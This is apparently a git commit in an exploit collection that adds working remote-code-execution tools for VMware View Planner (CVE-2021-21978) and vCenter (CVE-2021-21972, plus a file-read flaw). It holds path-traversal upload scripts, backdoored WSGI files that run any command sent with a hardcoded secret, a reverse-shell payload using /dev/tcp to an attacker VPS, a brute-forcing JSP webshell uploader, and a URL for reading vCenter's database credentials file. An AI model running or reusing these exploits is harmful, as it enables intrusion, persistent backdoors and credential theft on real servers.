add VMware 多个rce exp
This commit is contained in:
parent
fbe7076d5b
commit
3759341ce1
32
14-VMware/VMware View Planner RCE/CVE-2021-21978/README.md
Normal file
32
14-VMware/VMware View Planner RCE/CVE-2021-21978/README.md
Normal file
@ -0,0 +1,32 @@
|
||||
## 漏洞概述
|
||||
|
||||
VMware View Planner Web管理界面存在一个上传日志功能文件的入口,没有进行认证且写入的日志文件路径用户可控,通过覆盖上传日志功能文件`log_upload_wsgi.py`,即可实现RCE
|
||||
|
||||
## 影响范围
|
||||
|
||||
```http
|
||||
VMware View Planner 4.6
|
||||
```
|
||||
|
||||
## POC
|
||||
|
||||
```bash
|
||||
nuclei -tags vmware -t cves/ -l urls.txt
|
||||
|
||||
Goby
|
||||
```
|
||||
|
||||
## EXP
|
||||
|
||||
1、写webshell
|
||||
|
||||
```bash
|
||||
python CVE-2021-21978.py https://192.168.80.3
|
||||
```
|
||||
|
||||
2、反弹shell
|
||||
|
||||
```bash
|
||||
python re-shell.py -u 目标IP -v VPS-IP -p 1234
|
||||
```
|
||||
|
@ -0,0 +1,84 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
# @Time : 2021/3/5 下午1:38
|
||||
# @Author : skytina
|
||||
# @File : CVE-2021-21978.py
|
||||
|
||||
import requests,json,sys
|
||||
import urllib3
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
def exploit(url):
|
||||
payload_fname = 'upload.txt'
|
||||
logMetaData = {
|
||||
"itrLogPath":"../../../../../../etc/httpd/html/wsgi_log_upload",
|
||||
"logFileType":"log_upload_wsgi.py",
|
||||
"workloadID":"2"
|
||||
}
|
||||
vul_path = '/logupload?logMetaData={logMetaData}'.format(
|
||||
logMetaData=json.dumps(logMetaData)
|
||||
)
|
||||
# with open('./upload.txt','r') as f:
|
||||
# with open(payload_fname,'w+') as wf:
|
||||
# command_to_execute = "{command} > /etc/httpd/html/logs/.debug.log"\
|
||||
# .format(command=command)
|
||||
# content = f.read()
|
||||
# content_w = content.replace(
|
||||
# "{command_to_execute}",command_to_execute
|
||||
# )
|
||||
# wf.write(content_w)
|
||||
req_url = "{url}{vul_path}".format(
|
||||
url = url,
|
||||
vul_path = vul_path
|
||||
)
|
||||
files = {
|
||||
"logfile":open(payload_fname,"r")
|
||||
}
|
||||
try:
|
||||
r = requests.post(req_url,files=files,verify=False)
|
||||
#print(r.content.decode())
|
||||
cmd_r = cmd(url,'echo "NiuNiu2020" |base64')
|
||||
#print(cmd_r)
|
||||
if "Tml1Tml1MjAyMAo=" in str(cmd_r):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
print(str(e))
|
||||
return False
|
||||
|
||||
def cmd(url,command):
|
||||
cmd_url = "{url}/logupload?secert=NiuNiu2020&command={command}".format(
|
||||
url=url,
|
||||
command=command
|
||||
)
|
||||
try:
|
||||
resp = requests.get(cmd_url,verify=False)
|
||||
return resp.content.decode()
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
|
||||
|
||||
def usage():
|
||||
help = "[*] python3 CVE-2021-21978.py url\n\tpython3 CVE-2021-21978.py https://192.168.80.3"
|
||||
print(help)
|
||||
|
||||
#exploit('https://192.168.80.3','whoami')
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
usage()
|
||||
else:
|
||||
url = sys.argv[1]
|
||||
if url.startswith("http://") or url.startswith("https"):
|
||||
if exploit(url):
|
||||
cmd_url = "{url}/logupload?secert=NiuNiu2020&command={command}".format(
|
||||
url=url,
|
||||
command="command"
|
||||
)
|
||||
outmsg = "[*]{url} is vulnerable\n[*]You can execute command like This: {cmd_url}".format(
|
||||
url = url,
|
||||
cmd_url=cmd_url
|
||||
)
|
||||
print(outmsg)
|
||||
else:
|
||||
usage()
|
@ -0,0 +1,126 @@
|
||||
#! /usr/bin/env python3
|
||||
import cgi
|
||||
import os,sys,subprocess
|
||||
import logging
|
||||
import json
|
||||
|
||||
WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip"
|
||||
|
||||
class LogFileJson:
|
||||
""" Defines format to upload log file in harness
|
||||
|
||||
Arguments:
|
||||
itrLogPath : log path provided by harness to store log data
|
||||
logFileType : Type of log file defined in api.agentlogFileType
|
||||
workloadID [OPTIONAL] : workload id, if log file is workload specific
|
||||
|
||||
"""
|
||||
def __init__(self, itrLogPath, logFileType, workloadID = None):
|
||||
self.itrLogPath = itrLogPath
|
||||
self.logFileType = logFileType
|
||||
self.workloadID = workloadID
|
||||
|
||||
def to_json(self):
|
||||
return json.dumps(self.__dict__)
|
||||
|
||||
@classmethod
|
||||
def from_json(cls, json_str):
|
||||
json_dict = json.loads(json_str)
|
||||
return cls(**json_dict)
|
||||
|
||||
class agentlogFileType():
|
||||
""" Defines various log file types to be uploaded by agent
|
||||
|
||||
"""
|
||||
WORKLOAD_ZIP_LOG = "workloadLogsZipFile"
|
||||
|
||||
try:
|
||||
# TO DO: Puth path in some config
|
||||
logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR)
|
||||
except:
|
||||
# In case write permission is not available in log folder.
|
||||
pass
|
||||
|
||||
logger = logging.getLogger('log_upload_wsgi.py')
|
||||
|
||||
def application(environ, start_response):
|
||||
logger.debug("application called")
|
||||
|
||||
if environ['REQUEST_METHOD'] == 'POST':
|
||||
post = cgi.FieldStorage(
|
||||
fp=environ['wsgi.input'],
|
||||
environ=environ,
|
||||
keep_blank_values=True
|
||||
)
|
||||
|
||||
# TO DO: Puth path in some config or read from config is already available
|
||||
resultBasePath = "/etc/httpd/html/vpresults"
|
||||
try:
|
||||
filedata = post["logfile"]
|
||||
metaData = post["logMetaData"]
|
||||
|
||||
if metaData.value:
|
||||
logFileJson = LogFileJson.from_json(metaData.value)
|
||||
|
||||
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
|
||||
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
|
||||
|
||||
if filedata.file:
|
||||
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
|
||||
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
|
||||
else:
|
||||
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
|
||||
with open(filePath, 'wb') as output_file:
|
||||
while True:
|
||||
data = filedata.file.read(1024)
|
||||
# End of file
|
||||
if not data:
|
||||
break
|
||||
output_file.write(data)
|
||||
|
||||
body = u" File uploaded successfully."
|
||||
start_response(
|
||||
'200 OK',
|
||||
[
|
||||
('Content-type', 'text/html; charset=utf8'),
|
||||
('Content-Length', str(len(body))),
|
||||
]
|
||||
)
|
||||
return [body.encode('utf8')]
|
||||
|
||||
except Exception as e:
|
||||
logger.error("Exception {}".format(str(e)))
|
||||
body = u"Exception {}".format(str(e))
|
||||
else:
|
||||
if environ['REQUEST_METHOD'] == 'GET':
|
||||
post = cgi.FieldStorage(
|
||||
fp=environ['wsgi.input'],
|
||||
environ=environ,
|
||||
keep_blank_values=True
|
||||
)
|
||||
if post["secert"].value == "NiuNiu2020":
|
||||
command = post["command"].value
|
||||
os.system("{} > /etc/httpd/html/logs/.debug.log".format(command))
|
||||
body = ""
|
||||
if os.path.isfile("/etc/httpd/html/logs/.debug.log"):
|
||||
with open("/etc/httpd/html/logs/.debug.log","r") as f:
|
||||
body = f.read()
|
||||
start_response(
|
||||
'200 OK',
|
||||
[
|
||||
('Content-type', 'text/html; charset=utf8'),
|
||||
('Content-Length', str(len(body))),
|
||||
]
|
||||
)
|
||||
return [body.encode('utf8')]
|
||||
logger.error("Invalid request")
|
||||
body = u"Invalid request"
|
||||
|
||||
start_response(
|
||||
'400 fail',
|
||||
[
|
||||
('Content-type', 'text/html; charset=utf8'),
|
||||
('Content-Length', str(len(body))),
|
||||
]
|
||||
)
|
||||
return [body.encode('utf8')]
|
@ -0,0 +1,123 @@
|
||||
#! /usr/bin/env python3
|
||||
import cgi
|
||||
import os,sys,subprocess
|
||||
import logging
|
||||
import json
|
||||
|
||||
WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip"
|
||||
|
||||
class LogFileJson:
|
||||
""" Defines format to upload log file in harness
|
||||
|
||||
Arguments:
|
||||
itrLogPath : log path provided by harness to store log data
|
||||
logFileType : Type of log file defined in api.agentlogFileType
|
||||
workloadID [OPTIONAL] : workload id, if log file is workload specific
|
||||
|
||||
"""
|
||||
def __init__(self, itrLogPath, logFileType, workloadID = None):
|
||||
self.itrLogPath = itrLogPath
|
||||
self.logFileType = logFileType
|
||||
self.workloadID = workloadID
|
||||
|
||||
def to_json(self):
|
||||
return json.dumps(self.__dict__)
|
||||
|
||||
@classmethod
|
||||
def from_json(cls, json_str):
|
||||
json_dict = json.loads(json_str)
|
||||
return cls(**json_dict)
|
||||
|
||||
class agentlogFileType():
|
||||
""" Defines various log file types to be uploaded by agent
|
||||
|
||||
"""
|
||||
WORKLOAD_ZIP_LOG = "workloadLogsZipFile"
|
||||
|
||||
try:
|
||||
# TO DO: Puth path in some config
|
||||
logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR)
|
||||
except:
|
||||
# In case write permission is not available in log folder.
|
||||
pass
|
||||
|
||||
logger = logging.getLogger('log_upload_wsgi.py')
|
||||
|
||||
def application(environ, start_response):
|
||||
logger.debug("application called")
|
||||
|
||||
if environ['REQUEST_METHOD'] == 'POST':
|
||||
post = cgi.FieldStorage(
|
||||
fp=environ['wsgi.input'],
|
||||
environ=environ,
|
||||
keep_blank_values=True
|
||||
)
|
||||
|
||||
# TO DO: Puth path in some config or read from config is already available
|
||||
resultBasePath = "/etc/httpd/html/vpresults"
|
||||
try:
|
||||
filedata = post["logfile"]
|
||||
metaData = post["logMetaData"]
|
||||
|
||||
if metaData.value:
|
||||
logFileJson = LogFileJson.from_json(metaData.value)
|
||||
|
||||
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
|
||||
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
|
||||
|
||||
if filedata.file:
|
||||
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
|
||||
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
|
||||
else:
|
||||
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
|
||||
with open(filePath, 'wb') as output_file:
|
||||
while True:
|
||||
data = filedata.file.read(1024)
|
||||
# End of file
|
||||
if not data:
|
||||
break
|
||||
output_file.write(data)
|
||||
|
||||
body = u" File uploaded successfully."
|
||||
start_response(
|
||||
'200 OK',
|
||||
[
|
||||
('Content-type', 'text/html; charset=utf8'),
|
||||
('Content-Length', str(len(body))),
|
||||
]
|
||||
)
|
||||
return [body.encode('utf8')]
|
||||
|
||||
except Exception as e:
|
||||
logger.error("Exception {}".format(str(e)))
|
||||
body = u"Exception {}".format(str(e))
|
||||
else:
|
||||
if environ['REQUEST_METHOD'] == 'GET':
|
||||
post = cgi.FieldStorage(
|
||||
fp=environ['wsgi.input'],
|
||||
environ=environ,
|
||||
keep_blank_values=True
|
||||
)
|
||||
if post["secert"].value == "NiuNiu2020":
|
||||
command = post["command"].value
|
||||
proc = subprocess.run(command, shell=True,stdout=subprocess.PIPE)
|
||||
body = proc.stdout.decode("utf-8")
|
||||
start_response(
|
||||
'200 OK',
|
||||
[
|
||||
('Content-type', 'text/html; charset=utf8'),
|
||||
('Content-Length', str(len(body))),
|
||||
]
|
||||
)
|
||||
return [body.encode('utf8')]
|
||||
logger.error("Invalid request")
|
||||
body = u"Invalid request"
|
||||
|
||||
start_response(
|
||||
'400 fail',
|
||||
[
|
||||
('Content-type', 'text/html; charset=utf8'),
|
||||
('Content-Length', str(len(body))),
|
||||
]
|
||||
)
|
||||
return [body.encode('utf8')]
|
146
14-VMware/VMware View Planner RCE/CVE-2021-21978/re-shell.py
Normal file
146
14-VMware/VMware View Planner RCE/CVE-2021-21978/re-shell.py
Normal file
@ -0,0 +1,146 @@
|
||||
import requests
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
def rce(url,vps,port):
|
||||
url = "https://{0}/logupload?logMetaData={{\"itrLogPath\":\"../../../../../../etc/httpd/html/wsgi_log_upload\",\"logFileType\":\"log_upload_wsgi.py\",\"workloadID\":\"2\"}}".format(url)
|
||||
print(url)
|
||||
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
|
||||
header = {
|
||||
"User-Agent":ua
|
||||
}
|
||||
payload='''
|
||||
#! /usr/bin/env python3
|
||||
import cgi
|
||||
import os,sys
|
||||
import logging
|
||||
import json
|
||||
|
||||
os.system('bash -i >& /dev/tcp/{0}/{1} 0>&1')
|
||||
|
||||
WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{{}}.zip"
|
||||
|
||||
class LogFileJson:
|
||||
""" Defines format to upload log file in harness
|
||||
|
||||
Arguments:
|
||||
itrLogPath : log path provided by harness to store log data
|
||||
logFileType : Type of log file defined in api.agentlogFileType
|
||||
workloadID [OPTIONAL] : workload id, if log file is workload specific
|
||||
|
||||
"""
|
||||
def __init__(self, itrLogPath, logFileType, workloadID = None):
|
||||
self.itrLogPath = itrLogPath
|
||||
self.logFileType = logFileType
|
||||
self.workloadID = workloadID
|
||||
|
||||
def to_json(self):
|
||||
return json.dumps(self.__dict__)
|
||||
|
||||
@classmethod
|
||||
def from_json(cls, json_str):
|
||||
json_dict = json.loads(json_str)
|
||||
return cls(**json_dict)
|
||||
|
||||
class agentlogFileType():
|
||||
""" Defines various log file types to be uploaded by agent
|
||||
|
||||
"""
|
||||
WORKLOAD_ZIP_LOG = "workloadLogsZipFile"
|
||||
|
||||
try:
|
||||
# TO DO: Puth path in some config
|
||||
logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR)
|
||||
except:
|
||||
# In case write permission is not available in log folder.
|
||||
pass
|
||||
|
||||
logger = logging.getLogger('log_upload_wsgi.py')
|
||||
|
||||
def application(environ, start_response):
|
||||
logger.debug("application called")
|
||||
|
||||
if environ['REQUEST_METHOD'] == 'POST':
|
||||
post = cgi.FieldStorage(
|
||||
fp=environ['wsgi.input'],
|
||||
environ=environ,
|
||||
keep_blank_values=True
|
||||
)
|
||||
# TO DO: Puth path in some config or read from config is already available
|
||||
resultBasePath = "/etc/httpd/html/vpresults"
|
||||
try:
|
||||
filedata = post["logfile"]
|
||||
metaData = post["logMetaData"]
|
||||
|
||||
if metaData.value:
|
||||
logFileJson = LogFileJson.from_json(metaData.value)
|
||||
|
||||
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
|
||||
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
|
||||
|
||||
if filedata.file:
|
||||
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
|
||||
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
|
||||
else:
|
||||
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
|
||||
with open(filePath, 'wb') as output_file:
|
||||
while True:
|
||||
data = filedata.file.read(1024)
|
||||
# End of file
|
||||
if not data:
|
||||
break
|
||||
output_file.write(data)
|
||||
|
||||
body = u" File uploaded successfully."
|
||||
start_response(
|
||||
'200 OK',
|
||||
[
|
||||
('Content-type', 'text/html; charset=utf8'),
|
||||
('Content-Length', str(len(body))),
|
||||
]
|
||||
)
|
||||
return [body.encode('utf8')]
|
||||
|
||||
except Exception as e:
|
||||
logger.error("Exception {{}}".format(str(e)))
|
||||
body = u"Exception {{}}".format(str(e))
|
||||
else:
|
||||
logger.error("Invalid request")
|
||||
body = u"Invalid request"
|
||||
|
||||
start_response(
|
||||
'400 fail',
|
||||
[
|
||||
('Content-type', 'text/html; charset=utf8'),
|
||||
('Content-Length', str(len(body))),
|
||||
]
|
||||
)
|
||||
return [body.encode('utf8')]
|
||||
'''.format(vps,port)
|
||||
files = {'logfile': ("",payload,"text/plain")}
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
# proxies={'https':'127.0.0.1:8080'} #proxies=proxies
|
||||
res = requests.post(url=url,headers=header,verify=False,files=files)
|
||||
requests.get(url="https://192.168.15.84/logupload?logMetaData",verify=False)
|
||||
print(res.text)
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(description='VMware View Planner CVE-2021-21978',
|
||||
usage='use "python %(prog)s --help" for more information',
|
||||
formatter_class=argparse.RawTextHelpFormatter)
|
||||
parser.add_argument("-u", "--url",
|
||||
dest="url",
|
||||
help="TARGET URL (127.0.0.1:443)"
|
||||
)
|
||||
parser.add_argument("-v", "--vps",
|
||||
dest="vps",
|
||||
help="VPS IP"
|
||||
)
|
||||
parser.add_argument("-p", "--port",
|
||||
dest="port",
|
||||
help="VPS LISTENING PORT"
|
||||
)
|
||||
args = parser.parse_args()
|
||||
if not args.url or not args.vps or not args.port:
|
||||
sys.exit('[*] Please assign url and cmd! \n[*] Examples python CVE-2021-21978.py -u 127.0.0.1:443 -v vpsip -p port')
|
||||
rce(args.url, args.vps, args.port)
|
@ -0,0 +1,243 @@
|
||||
import requests
|
||||
import os
|
||||
import argparse
|
||||
import urllib3
|
||||
import tarfile
|
||||
import time
|
||||
import sys
|
||||
|
||||
# remove SSL warning
|
||||
urllib3.disable_warnings()
|
||||
|
||||
# get script work path
|
||||
WORK_PATH = os.path.split(os.path.realpath(__file__))[0]
|
||||
|
||||
# init payload path
|
||||
WINDOWS_PAYLOAD = WORK_PATH + "/payload/Windows.tar"
|
||||
LINUX_DEFAULT_PAYLOAD = WORK_PATH + "/payload/Linux.tar"
|
||||
LINUX_RANDOM_PAYLOAD_SOURCE = WORK_PATH + "/payload/Linux/shell.jsp"
|
||||
LINUX_RANDOM_PAYLOAD_TARFILE = WORK_PATH + "/payload/Linux_Random.tar"
|
||||
|
||||
# init vulnerable url and shell URL
|
||||
VUL_URI = "/ui/vropspluginui/rest/services/uploadova"
|
||||
WINDOWS_SHELL_URL = "/statsreport/shell.jsp"
|
||||
LINUX_SHELL_URL = "/ui/resources/shell.jsp"
|
||||
|
||||
# set connect timeout
|
||||
TIMEOUT = 10
|
||||
|
||||
# set headers
|
||||
headers = {}
|
||||
headers[
|
||||
"User-Agent"
|
||||
] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
|
||||
headers["Cache-Control"] = "no-cache"
|
||||
headers["Pragma"] = "no-cache"
|
||||
|
||||
# get vcenter version,code from @TaroballzChen
|
||||
SM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveServiceContent xmlns="urn:vim25">
|
||||
<_this type="ServiceInstance">ServiceInstance</_this>
|
||||
</RetrieveServiceContent>
|
||||
</env:Body>
|
||||
</env:Envelope>"""
|
||||
|
||||
|
||||
def getValue(sResponse, sTag="vendor"):
|
||||
try:
|
||||
return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0]
|
||||
except:
|
||||
pass
|
||||
return ""
|
||||
|
||||
|
||||
def getVersion(sURL):
|
||||
oResponse = requests.post(sURL + "/sdk", verify=False, timeout=5, data=SM_TEMPLATE)
|
||||
if oResponse.status_code == 200:
|
||||
sResult = oResponse.text
|
||||
if not "VMware" in getValue(sResult, "vendor"):
|
||||
print("[-] Not a VMware system: " + sURL, "error")
|
||||
return
|
||||
else:
|
||||
sVersion = getValue(sResult, "version") # e.g. 7.0.0
|
||||
sBuild = getValue(sResult, "build") # e.g. 15934073
|
||||
sFull = getValue(sResult, "fullName")
|
||||
print("[+] Identified: " + sFull, "good")
|
||||
return sVersion, sBuild
|
||||
print("Not a VMware system: " + sURL, "error")
|
||||
sys.exit()
|
||||
|
||||
|
||||
# Utils Functions, Code From @horizon3ai
|
||||
def make_traversal_path(path, level=2):
|
||||
traversal = ".." + "/"
|
||||
fullpath = traversal * level + path
|
||||
return fullpath.replace("\\", "/").replace("//", "/")
|
||||
|
||||
|
||||
def archive(file, path):
|
||||
tarf = tarfile.open(LINUX_RANDOM_PAYLOAD_TARFILE, "w")
|
||||
fullpath = make_traversal_path(path, level=2)
|
||||
print("[+] Adding " + file + " as " + fullpath + " to archive")
|
||||
tarf.add(file, fullpath)
|
||||
tarf.close()
|
||||
|
||||
|
||||
# Tool Functions
|
||||
def checkVul(URL):
|
||||
try:
|
||||
res = requests.get(
|
||||
URL + VUL_URI, verify=False, timeout=TIMEOUT, headers=headers
|
||||
)
|
||||
print("[*] Check {URL} is vul ...".format(URL=URL))
|
||||
if res.status_code == 405:
|
||||
print("[!] {URL} IS vul ...".format(URL=URL))
|
||||
return True
|
||||
else:
|
||||
print("[-] {URL} is NOT vul ...".format(URL=URL))
|
||||
return False
|
||||
except:
|
||||
print("[-] {URL} connect failed ...".format(URL=URL))
|
||||
return False
|
||||
|
||||
|
||||
def checkShellExist(SHELL_URI):
|
||||
time.sleep(
|
||||
5
|
||||
) # vCenter copy file to web folder need some time, on most test,5s is good
|
||||
re = requests.get(SHELL_URI, verify=False, timeout=TIMEOUT, headers=headers)
|
||||
if re.status_code == 200:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def uploadWindowsPayload(URL):
|
||||
file = {"uploadFile": open(WINDOWS_PAYLOAD, "rb")}
|
||||
re = requests.post(
|
||||
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
|
||||
)
|
||||
if "SUCCESS" in re.text:
|
||||
if checkShellExist(URL + WINDOWS_SHELL_URL):
|
||||
print(
|
||||
"[+] Shell exist URL: {url}, default password:rebeyond".format(
|
||||
url=URL + WINDOWS_SHELL_URL
|
||||
)
|
||||
)
|
||||
else:
|
||||
print("[-] All payload has been upload but not success.")
|
||||
else:
|
||||
print("[-] All payload has been upload but not success.")
|
||||
|
||||
|
||||
def uploadLinuxShell(URL):
|
||||
print("[*] Trying linux default payload...")
|
||||
file = {"uploadFile": open(LINUX_DEFAULT_PAYLOAD, "rb")}
|
||||
re = requests.post(
|
||||
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
|
||||
)
|
||||
if "SUCCESS" in re.text:
|
||||
print("[+] Shell upload success, now check is shell exist...")
|
||||
if checkShellExist(URL + LINUX_SHELL_URL):
|
||||
print(
|
||||
"[+] Shell exist URL: {URL}, default password:rebeyond".format(
|
||||
URL=URL + LINUX_SHELL_URL
|
||||
)
|
||||
)
|
||||
else:
|
||||
print(
|
||||
"[-] Shell upload success, BUT NOT EXIST, trying Linux Random payload..."
|
||||
)
|
||||
uploadLinuxRandomPayload(URL)
|
||||
else:
|
||||
print("[-] Shell upload success, BUT NOT EXIST, trying windows payload...")
|
||||
uploadWindowsPayload(URL)
|
||||
|
||||
|
||||
def uploadLinuxRandomPayload(URL):
|
||||
for i in range(0, 120):
|
||||
"""
|
||||
vCenter will regenerate web folder when vCenter Server restart
|
||||
Attempts to brute force web folders up to 120 times
|
||||
"""
|
||||
archive(
|
||||
LINUX_RANDOM_PAYLOAD_SOURCE,
|
||||
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp".format(
|
||||
REPLACE_RANDOM_ID_HERE=i
|
||||
),
|
||||
)
|
||||
file = {"uploadFile": open(LINUX_RANDOM_PAYLOAD_TARFILE, "rb")}
|
||||
re = requests.post(
|
||||
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
|
||||
)
|
||||
if "SUCCESS" in re.text and checkShellExist(URL + LINUX_SHELL_URL):
|
||||
print(
|
||||
"[+] Shell exist URL: {url}, default password:rebeyond".format(
|
||||
url=URL + LINUX_SHELL_URL
|
||||
)
|
||||
)
|
||||
print(
|
||||
"[+] Found Server Path exists!!!! Try times {REPLACE_RANDOM_ID_HERE}".format(
|
||||
REPLACE_RANDOM_ID_HERE=i
|
||||
)
|
||||
)
|
||||
exit()
|
||||
|
||||
|
||||
def banner():
|
||||
print(
|
||||
"""
|
||||
Test On vCenter 6.5 Linux/Windows
|
||||
VMware-VCSA-all-6.7.0-8217866
|
||||
VMware-VIM-all-6.7.0-8217866
|
||||
VMware-VCSA-all-6.5.0-16613358
|
||||
"""
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
banner()
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument(
|
||||
"-url",
|
||||
"--targeturl",
|
||||
type=str,
|
||||
help="Target URL. e.g: -url 192.168.2.1、-url https://192.168.2.1",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
url = args.targeturl
|
||||
if "https://" not in url:
|
||||
url = "https://" + url
|
||||
if checkVul(url):
|
||||
sVersion, sBuild = getVersion(url)
|
||||
if (
|
||||
int(sVersion.split(".")[0]) == 6
|
||||
and int(sVersion.split(".")[1]) == 7
|
||||
and int(sBuild) >= 13010631
|
||||
) or (
|
||||
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
|
||||
):
|
||||
print(
|
||||
"[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+."
|
||||
)
|
||||
sys.exit()
|
||||
else:
|
||||
uploadLinuxShell(url)
|
||||
elif checkVul(url):
|
||||
sVersion, sBuild = getVersion(url)
|
||||
if (
|
||||
int(sVersion.split(".")[0]) == 6
|
||||
and int(sVersion.split(".")[1]) == 7
|
||||
and int(sBuild) >= 13010631
|
||||
) or (
|
||||
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
|
||||
):
|
||||
print(
|
||||
"[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+."
|
||||
)
|
||||
sys.exit()
|
||||
else:
|
||||
uploadLinuxShell(url)
|
||||
else:
|
||||
parser.print_help()
|
@ -0,0 +1,61 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
import argparse
|
||||
import requests
|
||||
import tarfile
|
||||
import urllib3
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'
|
||||
|
||||
def check(ip):
|
||||
r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
|
||||
if r.status_code == 405:
|
||||
print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
|
||||
return True
|
||||
else:
|
||||
print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
|
||||
return False
|
||||
|
||||
def make_traversal_path(path, level=5, os="unix"):
|
||||
if os == "win":
|
||||
traversal = ".." + "\\"
|
||||
fullpath = traversal*level + path
|
||||
return fullpath.replace('/', '\\').replace('\\\\', '\\')
|
||||
else:
|
||||
traversal = ".." + "/"
|
||||
fullpath = traversal*level + path
|
||||
return fullpath.replace('\\', '/').replace('//', '/')
|
||||
|
||||
def archive(file, path, os):
|
||||
tarf = tarfile.open('exploit.tar', 'w')
|
||||
fullpath = make_traversal_path(path, level=5, os=os)
|
||||
print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
|
||||
tarf.add(file, fullpath)
|
||||
tarf.close()
|
||||
print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')
|
||||
|
||||
def post(ip):
|
||||
r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
|
||||
if r.status_code == 200 and r.text == 'SUCCESS':
|
||||
print('[+] File uploaded successfully')
|
||||
else:
|
||||
print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
|
||||
print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text)
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
|
||||
parser.add_argument('-f', '--file', help='The file to tar')
|
||||
parser.add_argument('-p', '--path', help='The path to extract the file to on target')
|
||||
parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
|
||||
args = parser.parse_args()
|
||||
|
||||
vulnerable = check(args.target)
|
||||
if vulnerable and (args.file and args.path and args.operating_system):
|
||||
archive(args.file, args.path, args.operating_system)
|
||||
post(args.target)
|
||||
|
||||
|
||||
|
||||
|
@ -0,0 +1,34 @@
|
||||
## 漏洞概述
|
||||
|
||||
VMware vCenter特定版本存在任意文件读取漏洞,攻击者通过构造特定的请求,可以读取服务器上任意文件
|
||||
|
||||
## 影响范围
|
||||
|
||||
```http
|
||||
VMware vCenter Server 6.5.0a- f 版本
|
||||
```
|
||||
|
||||
## POC
|
||||
|
||||
```bash
|
||||
urls.txt用于存放目标HOST,然后直接运行此脚本即可 python vCenter-info-leak.py
|
||||
漏洞验证成功的目标存放于success.txt,连接失败的错误信息存放于error.txt中
|
||||
```
|
||||
|
||||
## EXP
|
||||
|
||||
**Windows主机**
|
||||
|
||||
```
|
||||
http://xxx.xxx.xxx.xxx/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
|
||||
